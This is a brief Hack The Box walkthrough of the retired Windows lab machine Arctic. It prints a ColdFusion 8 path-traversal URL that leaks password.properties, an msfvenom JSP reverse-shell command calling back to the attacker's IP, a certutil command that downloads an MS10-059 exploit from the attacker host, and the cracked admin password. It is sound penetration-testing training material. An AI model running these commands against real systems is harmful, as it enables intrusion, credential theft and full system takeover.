Hack The Box · Windows Machine
Arctic
| Name | Arctic |
|---|---|
| Release date | 22 Mar 2017 |
| Retire date | Jul 2017 |
| OS | Windows |
| Difficulty | Easy - Retired [0] |
| Rated difficulty | ![]() |
| Radar graph | ![]() |
| Creator | ch4p |
| CherryTree file | Download and remove the .txt extension |
ColdFusion discovery
A broader Nmap scan exposed port 8500 and the ColdFusion administration tree. The documentation identified Adobe ColdFusion 8.
nmap -sS -A -sV -n -Pn 10.10.10.11
Password disclosure and command execution
A traversal request disclosed password.properties. The SHA-1 value cracked to happyday, allowing administrative access. A CFM command-execution page was then uploaded and used to enumerate users and retrieve the user flag.
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CColdFusion8%5Clib%5Cpassword.properties%00en
Shell and privilege escalation
A JSP reverse shell established access as tolis. systeminfo and Windows Exploit Suggester identified MS10-059 as the escalation path.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TUN0-IP> LPORT=443 -f raw > shell.jsp
certutil -urlcache -f "http://<TUN0-IP>/MS10-059.exe" MS10-059.exe
MS10-059.exe <TUN0-IP> <PORT>The exploit returned an NT AUTHORITY\SYSTEM shell and access to the Administrator flag.


